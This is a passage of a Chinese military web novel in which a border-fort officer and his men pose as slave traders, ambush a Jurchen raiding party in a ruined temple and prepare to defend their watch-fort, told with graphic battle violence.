望着眼前这尊得到武器后煞气冲霄的人形凶兵,秦猛脸上终于漾开一抹带着血腥气息的满意笑容。
初战的胜利,搅和了许多金银不说,救回了王大宝及七八十号百姓,还有这意外收获的巨汉……
这一次突袭,值了!
第31章 鞑子来袭
朔风如亿万把无形的冰刃,凄厉地刮过小南河堡以北的旷野,卷起枯败的草屑与砂砾,发出鬼哭般的呜咽。
天穹是浓得化不开的墨,星月匿迹,唯有刺骨的寒意浸透了每一寸空气,仿佛连魂魄都能冻僵。
视野的尽头,是那条横亘北疆的巨蟒——拒马河。
这条奔腾万里的界河,发源于西北巍峨高耸、终年积雪的圣山,平日里浊浪排空,水势汹涌澎湃,是大周北疆最令人安心的天堑。
多少年来,它的咆哮曾阻断了多少胡骑南下的野心蹄印。
然而,此刻正值一年中最严酷的凛冬。
西北雪山冰封,千里河源渐断,这条桀骜不驯的巨蟒,在酷寒的折磨下迅速干瘪,水面骤降。
宽阔的河床大片大片地裸露出来,覆盖着新凝结的惨白薄冰。许多浅滩的水位,竟仅有尺深。
这道曾经坚不可摧的北疆天险,在死亡的寒冬里。
终于露出了一道足以致命的破绽。
拒马河北岸,是广袤无垠、风雪肆虐的莽莽草原。
这里是游牧民族世代驰骋的疆场。
契丹、女真、楼兰、回鹘……如同散落在冰原上的狼群,凭借着古老的血脉和弯刀强弓,划分着世代相传的牧场。
夏秋之际,彼此间维持着一种脆弱的和平。
一旦入冬,为了放牧,为了粮食,马蹄踏碎冰雪,草原上混战不休。而在这片残酷舞台上,一个名为图鲁木的女真部落正悄然崛起。
“草原的冬天…能冻断雄鹰的翅膀,饿死最健壮的牧犬!”草原上各部落世代流传的谚语。
此刻在每个图鲁木人心中沉重回响。
寒冷只是开胃小菜。真正的绝境在于,当寒霜冻杀最后一点草根,当冰雪覆盖所有枯黄的原野。
随之而来的便是彻骨的饥饿。
女真勇士可以在马背上弯弓射雕,能用弯刀砍下敌人的头颅。
但他们却不善在冻土上播撒种子,更无法让黑土在寒冬里长出半点能果腹的粮食。
那些温顺、勤劳、忍耐力惊如地底蚯蚓般的汉人,却成了他们唯一的救命稻草。
这些来自南方的农夫,似乎天生就带着让贫瘠土地“开口说话”的本领,深受各部落的喜爱。
“汉奴,是草原上比金子更硬的货!”
他们任劳任怨,能靠着双手在最苦寒的草原边缘,种出成片成片在寒风中摇曳的金黄色青稞。
——那是救命的粮食,是部落繁衍壮大的基石。
令人讽刺的是,这些汉人却是最低下的奴隶,被鞭打虐待,过着猪狗不如的生活,每年死不少。
要定期补充,才有了部落骚扰劫掠。
几经周折,图鲁木部落终于打通了一条罪恶的脐带——与大周境内猖獗的捕奴队伍勾结。
以昂贵的金银、珍贵的人参皮货等,从姓“虎”的贪婪汉人手中,购买那些被掳掠、被欺骗、像牲口一样驱赶的汉人壮丁。
几年下来,依靠着这些“比金子还硬”的汉奴,图鲁木部落在冬季有了余粮,部众增多,战马膘肥。
,部落首领那扩张的野心如同浇灌了滚油的火苗,越烧越旺,对汉奴的需求也与日俱增。
又一年的严冬降临了。
夜色浓如墨染,界河边寒流刺骨。
图鲁木部两百多精骑,人配双马,如同从地狱缝隙爬出的恶灵,悄无声息地奔至界河边缘。
他们按照约定,今夜入境,接应买来的汉奴。
夜色中,图鲁木部骑队,领头的部落勇士议论着。
“那些汉奴,是长生天赐给咱们最好的牲口。”
“部落杀一头牛少一头肉,死一匹马少一副鞍,只有这些该死的两脚羊,能干,能生,给点草根就能拉犁推磨。”
“虎秃子虽然贪得无厌,但他送来的货,皮实,耐操,便宜。”
“这次他送来的消息,河对面的那个小堡子,两年前被契丹杂碎啃下了一大块肉,现在守着的就三五十个老弱病残,眼睛都瞎了半只。”
“正好。今年咱们抢先一步,把那堡子彻底砸烂了,男人抓回部落当奴隶,女人…嘿嘿……”
“破堡子里至少能抓回百多号好劳力!只要咱们的刀子够快,马匹够快,在他们缓过神来像蚁窝一样炸开前,咱们就能退回河这边。”
一个身裹厚实狼裘,外层却套着整块精铁板甲甲片的魁梧壮汉矗立在队列最前方,像一座移动的铁塔。呼出的白气很快凝成了霜花。
他就是图鲁木部落此次行动的猛安勃极烈兀鲁思。
他的目光锐利如鹰隼,穿透沉沉夜幕,死死钉在河对岸那片黑暗中。
“消息没错?”兀鲁思的声音低沉嘶哑,带着金属般的冰冷质感。
他身边,体型更壮,似人熊的扎哈尔,这位图鲁木第一勇士早已不耐烦,声音如同枯骨摩擦。
“错不了,安卡与虎秃子达成交易,好几批肥羊,就圈在对岸那间快被风吹倒的破庙里,咱们的探马昨天就摸到河边张望过,没问题。”
“时辰到了,走吧!”
他朝着结了薄冰的河面狠狠啐了一口浓痰,眼中的暴虐和对杀戮的渴望几乎要溢出眼眶。
兀鲁思眼中最后一丝疑虑褪去,骤然腾起野兽捕食前的噬血幽光:“好!扎哈尔,你听着。我的先锋亲涉水过河,直奔破庙拿货!你,”
他的目光犹如实质般压迫在扎哈尔的脸上:“带着剩下的人马,隐蔽在渡口北岸这片芦苇枯草里,眼睛睁大点,耳朵竖起来!确保咱们过河和撤退的路畅通无阻,以汉奴为重。”
“烽燧堡里那些周猪是瞎子聋子最好,但如果…他们敢探出半个脑袋,”
兀鲁思顿了顿,嘴角咧开一个残忍的弧度:“‘货’一到手,听到动静……你这边立刻动手!用最快的刀,最烈的火,把那碍眼的土堡子给老子烧穿、踏平,让里面的两只脚猪永远闭嘴。
记住,避开他们的烽火信号!动静能多小就多小。杀伐要快,干得要他娘的利索,别留下尾巴。”
“啰嗦!老子知道怎么割肉放血,”扎哈尔亢奋地低吼一声,大手一挥,眼中的暴虐和嗜血几乎要溢出眼眶,仿佛南岸的烽燧堡是待宰羔羊。
“走!”兀鲁思不再废话,猛一夹马腹。
部落壮大需要无数新鲜的血液来浇灌,而这条沾满汉奴血泪的暗线,就是维系他们野心的命脉。
今夜,这批“货”,他志在必得。
夜色吞噬了一切光亮。图鲁木部的先锋队动了个,
五十名剽悍的女真骑士如同影子凝固在马鞍之上,嘴唇紧抿如铁,眼瞳中燃烧着贪婪与凶狠的火焰。
所有的战马口中都牢牢勒着裹紧厚布的硬木马嚼,将任何一丝嘶鸣都扼杀在喉咙里。
队伍在兀鲁思的带领下,如同一道铁灰色墨流,迅疾而沉默地扑向那因枯水而敞开的死亡通道。
“咔嚓——”
马蹄踏入界河,薄冰承受不住人马的重量,如玻璃般碎裂,冰冷彻骨的河水瞬间淹没了马腿。
水流裹挟着细碎的冰块与冰层碰撞,发出脆响,连同骑士们小腿与鞍偶尔摩擦的轻响,统统被河面上呼啸而过的凛冽北风所吞噬、掩盖。
这群生于马背、精于骑射的狼群,在腾格里(长生天)的庇佑下,趁着夜色,悄然越过天险。
越过这条曾让他们无数次折戟沉沙的拒马河。
可他们却不知道,死亡的陷阱已经悄然张开。
……
南河口,烽燧堡。
亥时过半,死寂笼罩。堡内未燃火盆,唯剩凛冽寒风的尖啸,在角楼缝隙间拉出凄厉长音。
仿佛所有戍卒皆已陷入沉眠。
然而,这死寂之下,暗流汹涌如沸浆。
墙垛暗影中,一具具紧绷的身躯蛰伏。戍卒们攥紧手中冰凉的兵器,眼珠瞪得发涩,死死黏在北方夜色下那条模糊的河岸线上。呼出的白气刚出唇边,便被燧台上厉风撕碎。
几条体型健硕、耳朵尖耸的土狗在墙根焦躁踱步,脖颈硬毛炸起,喉间滚动着压抑不住的狺狺低吼。
老兵心头雪亮:这是嗅到了“人味儿”!
浓重的、陌生的、透着恶意的人味儿,说明是鞑子入境,危险正像墨汁一样在夜色里洇开。
秦大壮那铁墩般的身躯在暗影里猫腰挪动,声音压得非常低,一声接一声在垛墙后传递:
“稳住!都他娘的给老子稳住!”
“喘不上气儿的,摸回值房烤把火!别冻僵了。”
“今晚,是骡子是马,遛出来看看!”
“秦管队放了话,要干就干票狠的。最好是打出士气,把那群敢跑过来的畜生们全部留下。”
“窝里头打狼,优势在我!”
“沉住气,放他们过去,到时,听老子号令……”
……
早在秦猛带人搜寻王大宝的踪迹时,就传令烽燧堡:戒备,最高戒备。
待刘大牛快马送来老六的口供,威胁已然明了。
戌时初,从虎爷等人口中撬出确凿的接应鞑子队和时辰后,又是有一匹快马再次飞驰而至。
整个烽燧堡,铺堡,从泥地里爬出来的戍卒们,再无半分侥幸。家园有难,血性被点燃。
——听秦管队的!
给这群豺狗一个永生难忘的教训!
秦大壮这嘴笨的老实人,转述上官军令时却带着万钧之力,字字砸进每个人心里。
“管队严令:都憋住了,放他们过去!谁他娘的敢弄出半点响动,惊了狼,乱了局,军法无情——斩立决!”
刹那间,墙头所有身影凝固。一张张粗糙的脸死死贴着冰冷墙垛,目光如钩,刺破浓夜,死死咬住那条正悄然滑向破庙方向的墨色毒蛇。
狼,终入觳中。
堡后悄无声息地开了条缝,刘瘸子家的大黄狗如离弦之箭,拼命冲下陡坡,没入茫茫黑暗……
第32章 悍匪秦大炮
无名破庙。
断壁残垣似巨大的朽骨戳在黑沉沉的旷野风口。呜咽的山风钻进孔洞,发出瘆人的泣鸣。厚厚的枯蒿草匍匐在地,在凛冽寒风中抖索如筛。
一股怪异的气味……若有若无的铁锈味,陈旧、微腥,被寒风卷着,扫过逼近的“狼群”。
兀鲁思鹰目如炬,死死锁定了山坡上那处摇曳着鬼火般微光的坍塌大殿。
身后,五十亲卫精骑马蹄裹布,如同鬼魅潜行。
“汪汪汪!”突然,一串急促的狗吠从侧旁林子里炸响。
在这死寂的寒夜里,尖锐刺耳,被风送出老远。
“狗?”女真骑士们下意识循声扭头,手已本能地摸向腰间角弓。可狗吠骤停,像被掐断了脖子。
“哼,他们倒不算太蠢,是防范着我们来嘞!”兀鲁思一声短促的鼻音,以为是捕奴队故布疑阵,不屑的嗤笑声在他身后低低响起。
周人的小伎俩,可笑。
兀鲁思鹰眼如刀,反复刮过庙墙四周浓得化不开的黑暗。他手一挥,两翼各有数骑如箭离弦,迅疾无声地左右包抄掠出,侦查巡视。
须臾回返,带风掠过他身侧,用女真话低声禀报。
“勃极烈,无异状。”
悬着的心似乎放下三分。兀鲁思一夹马腹,率队再次逼近。
人人在马上微倾,保持随时能暴起的冲锋姿态。
就在这时!
“咣当——哗啦!”
庙门旁一段半塌的土墙后,伴着几声粗俗突兀的喝骂,十多个穿着破棉袄、缩头缩脑的身影手脚并用地从半堵断墙后“滚”了出来。
他们破布烂袄,手中刀枪七歪八斜,脚步踉跄如醉汉。
几支火把猛然捅破黑暗,“噼啪”爆燃!
灼目的火光,瞬间将庙前空地连同几十个矫健身影刺亮。
女真骑士们被强光一晃,非但未惊,脸上轻蔑之色反倒更浓。
眼前这群“匪徒”衣衫褴褛,牙齿磕碰声汇成一片“咯咯”颤响,两条腿抖得如同风扯柳条,眼看就要软瘫下去。
乌合之众!兀鲁思端坐马背,目光如冰扫过这群“烂泥”,视若虫豸。然而,当视线触及领头那尊铁塔般的巨影时,瞳孔骤然紧缩:
九尺开外的壮硕身躯,旧皮甲被虬结肌肉绷得险象环生,满脸悍戾。他昂首挺胸,单手拄着一根遍布尖刺、血迹干涸的狼牙重棒,铜铃般的巨眼毫无惧色,狠狠迎上兀鲁思的审视。
正是卸了官甲、披上“虎爷心腹”匪皮的南河堡管队官——秦猛。
“他娘的!”此刻,秦管队也在心中无奈腹诽:“手下尽是莽夫,连个会演戏的都挑不出。老子这八品武官,倒成了跑腿放哨的小喽啰?”
可这台戏,只能他亲自唱响。
“呔!哪方瘟神?报上名号!”
秦猛炸雷般的咆哮裹着唾沫星子直扑对面鞑子,生硬官话里透着蛮横杀气,脸上横肉跳动。实则鹰目如电,已将对面人数扫入心底。
“接货。”兀鲁思声音低沉如闷鼓,吐出的却是字正腔圆的汉语。
秦猛心头警铃狂震,脊柱如盘毒蛇。脸上却猛地松弛,挤出“恍然”假笑,狼牙棒往冻土狠狠一顿。
“咚!”地面微颤。
他随即用生硬拗口、临时学的女真腔嘶喊:“老酋长安好!”
——从虎爷嘴里撬出来的绝密切口!
“一切安好!”对面应答迅捷如矢,毫无滞涩。
暗号成了!空气似缓一线。
秦猛松了口气:“成了,自己人,吓爷爷一跳!”
他狼牙棒往肩头一扛,拽拽地道:“在下是虎爷座前悍将‘炮哥’秦大炮。都他妈愣着吃屁吗?
这破地儿露了风,官兵狗鼻子追来了!肥羊就在里头,你们赶紧的麻溜带走,各走阳关道。”
他眼风扫到一青壮双腿抖如筛糠,蒲扇大手“啪”地扇向其脑壳:“瘪犊子,卵蛋吓破了?滚进去禀报虎爷,就说贵客到了,酒肉招待。”
“是…”那青壮被抽得踉跄,强压惊骇冲入门内。
秦猛扭头瞪向余下“喽啰”,唾沫横飞,骂骂咧咧:“废物,都给爷站直喽!在贵客面前撂份儿,丢了虎爷脸面,老子扒了你们的皮!”
“有我大炮哥顶着,怂个鸟?”
他口吐芬芳,巴掌又挥向另一胆怯者。
“瞧你那点出息,金主大老爷在前,骨头让娘们儿抽了?挺直腰,胆小别出来混,臊不臊……”
这位大炮哥,粗鄙俚语连珠炮般喷溅,市井下作信手拈来。那刻意流露的“土鳖悍匪”样,分散鞑子注意,凸显几个青壮是真怕极了。
一切,皆指向唯一目的!
——老子们就是散沙,就是乌合之众。
兀鲁思冷眼旁观,眼底疑云终于散尽。他一挥手,二十名彪悍亲卫滚鞍下马,动作似猎豹。
“贵客,请!”秦猛脸上顷刻堆满谄媚假笑,顺手将狼牙棒塞给“跟班”,侧身引路,腰背微弓。
“嗯。”兀鲁思心头暗爽,微颔首,率众紧随。
庙门外,三十余骑如冷铁雕像般钉在马上,眼神刀锋般剐过庙门。箭头寒芒隐现,控弦之手稳如磐石。一张半圆铁网,已悄然布下。
“嘶…真他娘的贼,来人不简单呐!”秦猛眼角余光扫到这副滴水不漏的阵势,心头暗骂。
他脸上却愈发恭顺,半躬着身领路。
就在众人一前一后,刚走过台阶,踏上庙门口——
“哼!”兀鲁思浓密眉毛猛地一拧,那高耸的鼻子用力抽吸了几下,脸色瞬间沉凝如铁。
“血腥味!”他每一个字都像冰珠砸在冻土上。
“浓得发腻!”
他的右手瞬间死死扣在了腰间的弯刀刀柄上!冰冷如实质的目光带着压迫感,直刺秦猛后心。
秦猛心中警铃大作,但脸上却瞬间切换成“晦气”与“紧张”交织的扭曲表情,声音也跟着急促起来:
“嗨呀,别误会。不是跟贵客说了嘛!这破地儿不安全。天黑前,抓肥羊惊动了当地官府,青阳县地界的丘八搜过来撞上了,一场恶仗啊!”
“来来来,你们看这!”
秦猛察言观色见对方没有动手的意思,边说边急切地引着兀鲁思往里踏了几步,顺手猛地一指旁边阴影里横躺着的几具穿破皮甲的尸体:
“瞧见没?就撂这儿了!”
“那伙丘八!娘的……杀是杀了,可这地方也沾了晦气。暴露了,下次交易,得换地方。”
兀鲁思凌厉的视线顺着他所指扫去。
经验丰富的他,精准地捕捉到了那几具“官兵”尸体上的细节:致命的刀口在后背、脖子根,伤口深且边缘不齐,断掉的环首直刀散落一旁……
确像是经过一场短促残酷的接战搏杀。看这僵硬程度,死亡时间与这“秦大炮”所说大致吻合。
紧绷的心弦不由自主地松弛了半分。
“秦大炮”的说法可信度陡增至七八分。但多年血火里淬炼出的直觉,却发出尖锐的警报,像有根无形的刺,戳着兀鲁思后颈的寒毛。
他一只脚刚跨过那扇朽木朽骨般的庙门门槛——
“哈里特!”兀鲁思的声调骤响。如鞭裂空。
他一双锐目刺向庙内晃动的篝火影,又死死咬在秦猛脸上!手紧握刀柄:“为何不他来接应?”
“哈里特?”
这名字像冰锥狠狠扎穿秦猛心脏,血冲顶门。
——虎爷这秃子的供词里,压根儿没这号人。
三个女真探子亦无此名。
“虎秃子这老腌臜…还藏了私货?”秦猛念头电光石火,旋即被更强力摁下:这绝不可能。
那虎爷就是怂货,在“弹丁丁”酷刑下,祖宗十八代阴私都倒尽了!只求速死,绝无隐瞒。
这“哈里特”……必是试探的毒钩!
秦猛脑中风云急转,面上纹丝未动。他目光微抬,精准捕捉到兀鲁思眼底那抹探究的冷焰。
——是了!
这撮鸟在诈,玩探海的把戏!
“哈里特?”秦猛猛地刹住脚步,脸上先是恰到好处的茫然,旋即化为一种混合着轻蔑、桀骜的厉笑。
“哼!哈里特算哪根葱?昨日那三位贵客,叫阿古巴、阿古力!前几次跟咱们碰头的,是哈莱克。”
他嗓门震得庙梁落灰,匪气十足地指向庙内:“哈莱克他们,天没擦黑就带人接应另一批‘肥羊’和粮盐,留下老子在这喝风挨冻、提脑袋等你们。”
秦猛眼珠一瞪,怒火拱起:“客人谨慎是好,可拿这鸡毛试水深?脱裤子放屁——多此一举。
你们付了钱,咱们交‘货’,你们拿‘羊’,银货两抵。搞这些弯弯绕,是在耍你大炮爷爷玩呢?”
他横眉怒目,匪气冲天!
“放肆!”兀鲁思身后一和魁梧亲卫踏前一步,用蹩脚汉语喝斥,“竟敢对猛安大呼小叫?”
“滚蛋!”秦猛甩脸爆喝,唾沫星子直喷对方:“你又算哪根鸟毛?也敢吠?买家了不起?惹毛了大炮爷,这‘羊’,爷爷还不卖了。买卖就是讲规矩,凭啥老子白受这腌臜气,呸!”
他胸膛起伏,俨然一副被激怒的悍匪泼皮模样。
女真人们手按住刀柄,怒目而视。
秦猛身后十几个喽啰聚拢过来,也不甘示弱。
刹那间,气氛剑拔弩张!
第33章 破庙伏杀
“够了,不要吵了,免得失了和气。”兀鲁思眼中精光一闪,忽然抬手按住那亲卫的肩膀。
“秦壮…壮士息怒,误会。”他语气陡转平和,竟朝秦猛拱手:“是我多心了,请多多担待。”
说话间,竟从腰间皮囊摸出一锭足色银元宝,“当啷”一声抛向秦猛:“这个,就当赔礼了。”
秦猛反应快如猎犬,反手一把攫住。指头熟练地掂了掂分量,竟凑到嘴边“咔”地一咬。
他眼底贪婪乍现,脸上怒容瞬间融化,挤出谄媚褶皱:“嘿……还是这位大老爷敞亮。不像那起子……”
他将银子宝贝般揣进怀里,斜眼睨着那被骂的亲卫,阴阳怪气,“不晓得事,尽给贵人丢份儿。”
那谄笑,那掂银,那刻毒眼神。
——将“见利忘义”的小人嘴脸演绎得淋漓尽致。
被盯的亲卫气得面皮发紫,双眼冒火,紧攥刀柄的手背青筋暴突,恨不得当场拔刀砍杀此獠。
“劳烦带路。”兀鲁思不动声色,脸色平静。唇角却似掠过一丝真正松弛的弧度,主动催促。
秦猛这一套“见钱眼开”的市侩演技,反倒如重石压下,将他心头最后几缕疑虑,又压平了三分。
“好说好说!”秦猛腰弯得更低,脸上堆满油腻笑容,眼中凶光与谄媚奇妙地绞缠。
“贵客大气,里面请。”
“本来是想把羊送出来,没这么多烦心事儿。但下次交易需要当说起,虎爷恭候多时了……”
一行人继续前行,鱼贯进入庙内,踩着布满灰尘和凝结黑红色血块的地面,过了狭长的前庭,又拐个残垣断壁,终于来到正殿入口。
一股极其浓郁的烤肉香和热酒散发的诱人酒气袭来。
大殿内,篝火正旺,整只肥羊被铁钎穿在火上,油脂顺着焦脆的外皮滴落,溅起细碎火星。
旁边铁锅酒坛咕咚冒泡,酒香四溢。
几个“喽啰”正围着篝火忙碌,一个满脸横肉、左颊斜垮着狰狞疤痕的汉子在边上指手画脚。
此人正是张富贵,按秦猛的计策,用黄泥混着桐油伪造了伤疤,此刻正假扮联络人的“虎爷”。
此前拷问俘虏得知,以往几次交易都选在深夜,且此次来人就算与虎爷有过交集,却无一人真正见过其全貌,这才给了他们可乘之机。
“哈哈哈,不知阁下高姓大名?”
张富贵听到嘈杂,见秦猛领着女真人来了,憋着生硬的女真语,迈着刻意模仿的歪八字上前,脸上堆起的笑容比庙里的泥塑还要僵硬。
“兀鲁思。”猛安兀鲁思言简意赅报上名讳,眼神如鹰隼般扫过殿内陈设,带着毫不掩饰的审视。
“来,诸位远道而来,先尝尝这烤羊,再饮几碗酒暖暖身子。”张富贵指着篝火上滋滋冒油的烤羊,维持着脸上的假笑把这戏给演完。
“不必了,时间紧迫,关于...”兀鲁思摆手拒绝,话未说完却骤然瞳孔骤缩——张富贵脸上的假笑如同冰雪消融,瞬间被刺骨的杀机取代。
时间仿佛在这一刻凝固。
“不好,中计…”兀鲁思警觉,刚要拔刀示警,异变已生。
在前面领路的秦猛猛然转身,先前的痞气、谄媚等表情全无,只剩凝练到极致的凶狞杀机。
他全身筋骨爆鸣,右脚“轰隆”踏碎冻硬的青石板,整个人化作裹挟狂风的黑箭,直扑兀鲁思。
没有怒吼花哨,只有生死淬炼出的高效杀戮本能。
兀鲁思眼中爆发出惊怒的寒光,左手本能地抓向刀柄——但太迟了!
秦猛的速度远超预估。
咔嚓,砰!
沉闷的骨裂声与撞击声在死寂的庙宇之中炸响。
电光石火之间,秦猛左臂凶狠地外崩,精准卡压兀鲁思拔刀的右小臂腕骨,咔嚓,骨裂脆响。
兀鲁思闷哼,弯刀脱手坠地。
同时,秦猛右臂化肘为锤,凝聚全身冲力与旋转爆发力,如攻城槌轰击兀鲁思左胸心窝。
——黑龙十八手·野马奔槽!
噗!闷响声伴随着铁甲变形嵌入肌肉的钝响,兀鲁思鲜血狂喷,壮硕身躯被撞得双脚离地倒飞。
他接连撞翻几个亲卫,后背狠狠砸地,尘土飞扬。
“啊…”剧痛让他眼前发黑。
“死!”秦猛已如影随形,落地瞬间,右腿膝弯如钢铁绞索,狠狠跪砸在他弓起的腰腹要害。
“呃啊——!”惨嚎戛然而止。
秦猛左膝抵住其脖颈动脉,沾泥的右手掐住喉结。窒息与动脉压迫让兀鲁思眼珠暴突,脸色由红转紫。
秦猛另一手攥拳为锤,狠狠砸在其太阳穴上。
咚!闷响过后,兀鲁思眼中凶光熄灭,抽搐一下便彻底瘫软。这位图鲁木部以勇猛著称的猛安勃极烈,未及像样的反抗,便被击晕生擒。
就这眨眼的功夫,主将已被制服。
“啊——!”大殿另一侧爆发出怒吼,张富贵掀开破皮袄,抽出两把尖刀,借混乱一刀捅进魁梧亲卫的脖颈,另一刀切断女真兵的喉咙。
同时,几个“喽啰”抽刀扑出,二十个“怂包匪徒”瞬间褪去伪装,恐惧被求生杀意取代。
“杀!”
“剁了这些鞑子狗!”
嘶哑吼声中,七八个铁甲军汉从偏房冲出来,不是扛起藏在断柱后的橡木盾,就是抱着粗木。
他们如沉默蛮牛群,趁女真护卫阵脚大乱、被门廊限制的瞬间,狠狠撞过去。
“咚,咔嚓,啊——!”
骨头碎裂声与惨嚎同时爆响。
橡木盾拍在皮甲上,将当先护卫撞得肋骨塌陷、口喷鲜血。
沉重原木呼啸砸下,一个护卫举刀格挡,却听“砰”的一声,弯刀背连臂骨被砸得粉碎。
倒霉者被砸中头颅。
噗嗤,脑袋如西瓜般爆开,红白之物溅了同伴一脸。
大殿化作修罗血海,狭小空间的近距离搏杀。长兵器乱捅,将战斗推向最原始残酷的顶点。
秦猛捡起兀鲁思掉落的弯刀,如虎入羊群。连打带踹,刀光翻卷间,断肢残臂与污血飞溅。
一个女真护卫刚转身,便被他自肩胛骨斜劈而下,半个身子几乎劈开,双层皮甲如同纸糊。
鲜血如瀑布浇灌篝火灰烬,血腥与焦臭弥漫。
惨叫、咆哮、武器入肉的闷响、垂死哀鸣、柴火爆裂声……疯狂交织。
火光在残破壁画上扭动,如群魔狂舞。
“不好,里面打起来了。”庙外女真百夫长塔里穆听见惨嚎。
他反应过来,声嘶力竭狂吼,“该死,中计了。兀鲁思大人遇袭,快,杀进去,杀光汉狗!”
三十名女真骑士策动战马,如离弦之箭扑向庙门。
马蹄扬起瞬间,一阵低沉心悸的颤鸣撕裂寒夜,绝非普通弓弦声。
“嗡嗡——!”
地狱使者般的颤音未落,破空声密集袭来。
——黑夜中射出密密麻麻箭矢!
“噗噗噗噗——!”
穿透声与战马濒死的惨嘶同时炸开。
冲在最前的战马颈腹出现血洞,窟窿喷涌鲜血。破甲箭撕裂筋骨,将骑士如布偶般洞穿钉死。
骑士惨叫着摔落,被后续战马踩踏,更有人被巨力撞飞如遭锤砸。
庙门前空地化作屠宰场,尸骸与伤员成了天然障碍。
“伏击,强弩!”塔里穆肝胆俱裂。
“散开,隐蔽,弓箭手,反击...”
话音未落,“嗖嗖”破空声,第二波箭雨降临。
更密集刁钻,一部分是精准命中人头、手臂的破甲箭。另一部分竟然是裹油麻絮的火箭!
“咄,咄咄,轰——!”
火箭落在庙门外冻土的枯草上,火苗带黑烟窜起,照亮庙门前修罗场与枯树林中憧憧人影。
光线明灭、视线被烟火干扰刹那。
“嗷——!!!”
一声如深渊猛兽的狂野咆哮,带着无穷愤怒与毁灭气息,压倒所有杂音,马儿惊慌地嘶鸣。
西侧本就摇摇欲坠的庙墙轰然爆碎,砖石泥土如烟花四溅。
烟尘中,比兀鲁思更庞大恐怖的身影撞碎墙壁,如山崩降临——正是乌维!
这头人形凶兽没走门,以最狂暴方式登场粉碎敌胆。
火光照耀下,他仅着铁肩甲与兽皮束胸的身躯如地狱战神,肌肉贲张,青筋如蟒,弯刀在手中闪嗜血光泽。
“死——!”乌维咆哮着,身躯如失控铁甲战车,裹挟破墙威势与烟尘,撞进惊魂未定的骑兵群中。
人借马势?他是人破马阵!
“滚开!”乌维咆哮如雷,手中的弯刀划出惨白刀轮,无招无守,只有蛮力驱动的疯狂劈斩!
刷,咔嚓!
一名骑兵连人带刀被劈成两半,热血混内脏泼洒。
砰!刀背砸在另一骑士太阳穴,头颅爆裂,脑浆碎骨飞溅。
一名骑士试图绕后,挥刀偷袭。
乌维猛然回身,左手如闪电抓住战马嚼环。
“嘿——!”暴喝中,他双臂肌肉坟起,竟将冲锋的战马连人拉离地面。
战马惊恐嘶鸣,骑士绝望挥砍,乌维右臂弯刀化作寒光!
噗嚓——
头颅伴颈血冲天飞起!
乌维如灭世魔神,所过之处断肢横飞、人马俱碎。
狭小空间被他霸道冲击力搅乱,片刻便以绝对力量击溃残余骑兵。
“好可怕的家伙...”队长庞仁带领二十多人加入扫尾,收拢马匹,望着乌维的背影惊叹:“管队爷能让这大块头听话,那得多厉害啊!”
第34章 烽燧夜惊弓
破庙内外的战斗,爆发得猝不及防,结束的更是迅猛如雷。
得益于伪装与突袭的完美结合。加上秦猛、乌维两把锋利尖刀的直插核心,战斗堪称一边倒的屠宰。
此战,除了几个青壮因太过紧张用力过猛扭伤手腕,以及两人人追马时绊倒摔破鼻梁外。
参战的戍卒,青壮一方竟无人战死。
女真猛安兀鲁思所率的五十亲卫精骑,除他本人重伤被俘外,其余尽数伏诛。尸体叠枕,咽喉被割开,心脏被重创,死得不能再死。
此刻,庙门前的空地已化作修罗场。
浓烈的血腥味混杂着烟熏火燎的焦臭、尘土味,及战马哀鸣,构成令人窒息的地狱气息。
庞仁领着队伍快速打扫战场。
庙外战况结束不久,藏在附近山坳的二十来个妇女,半大小子也被带了过来。妇孺手中各拽棍棒,看着这惨烈的场面并没有害怕呕吐。
——只因这里是边陲之地,边民们见惯了生死。也见惯了一个村子一个村子被鞑子狗捣毁。
“快来。”庞仁见了也不觉得有异,大声招呼着:“兄弟姐妹们,搭把手,帮忙打扫战场。能用的都别落下,卖了换钱,买过冬的粮食。”
他声音嘶哑却带着不容置疑,“妇人们收拾散落的武器,箭矢,小子们帮忙牵马,手脚快些。
鞑子狗身上值钱的玩意儿都扒下来,待会要去堡里登记清楚。军堡到时发路费,分马肉。”
对于这些挣扎生活在边境,对鞑子怀有深仇大恨的边民来说,参与到这场杀戮之后的“收获”中,本身就带着一种复仇的快意。
他们立刻加入了忙碌的行列,妇人们小心翼翼地捡拾地上的弯刀匕首,把零散的箭矢归拢到箩筐里。
小子们则兴奋地去牵那些已稍显温顺下来的战马缰绳。
男子们则毫不避讳地和军汉们一起,麻利地剥取鞑子尸体上尚且能用的衣甲,靴子等物。
“乡亲们,速去边堡登记,再去城寨,县衙具状。”换上铁甲、外罩鞑子厚重狼皮大氅、头戴毡帽的秦猛,活脱脱一个剽悍的女真骑士。
他吼声未落,人已矫健地翻身上了一匹健壮的草原战马。
“秦…猛…我。”乌维拎着染血的弯刀走来。
“你留在这儿,守着战利品,免得被人抢了去。”秦猛指着马匹和堆积的战利品,分派任务。
“好…”乌维瓮声回应。
“庞仁!”秦猛勒马转向,声音如铁。
“你率队护送战利品与乡亲返回军堡,战场务必清理干净!若有半分差池,老子唯你是问!”
“遵命!”庞仁挺胸肃立,声震四野。
张富贵及七八名精锐亲兵也已如法炮制,披挂上鞑子装束。众人毫不耽搁,猛地一夹马腹。
一人双马,十多匹战马在尸骸血泊间践踏起暗红的泥浆,如同离弦的铁矢,撕裂惨白的月光,向着小南河口军堡的方向绝尘狂奔。
女真鞑子不仅是来接应奴隶,更要袭击边堡。
——驰援,刻不容缓!
破庙战斗结束时,南河口烽燧堡——
“来了!来了!”哨塔上,戍卒强压着被寒风冻得发抖的身体,吸了吸鼻涕,颤音竟显得兴奋。
这微弱的示警,瞬间如冰水浇头,让所有严阵以待的戍卒精神一凛。
墙根下几只土狗脖颈硬毛炸开,发出压抑的“呜呜”低吼,疯狂挣扎欲扑,嘴巴却被厚布笼头死死套住,只能徒劳地摇头晃脑,刨着冻土。
秦大壮扒着冰冷刺骨的墙垛,借着惨淡月光,模糊看到拒马河对岸有大批骑兵正在泅渡。
他心头剧震:“狗鞑子!终于来了!”
秦大壮立刻俯身,低沉而急促的喝令沿着垛墙传递:“稳住,听号令,点火盆,准备接战。”
近两百女真骑兵如贪婪的狼群,悄然无声地渡过了界河,迅速集结,沉默地逼向耸立在黑暗中的燧堡。
这支队伍领队者,乃是图鲁木部落第一勇士——扎哈尔。
此人性情桀骜暴虐,勇冠部落,目空一切,除了酋长能够管束外,向来不服兀鲁思的节制。
长时间的等候、河口燧堡这片死寂的黑暗,像毒药般消磨着扎哈尔最后一丝耐性。他再也按捺不住那股嗜血的躁动,悍然率队渡河。
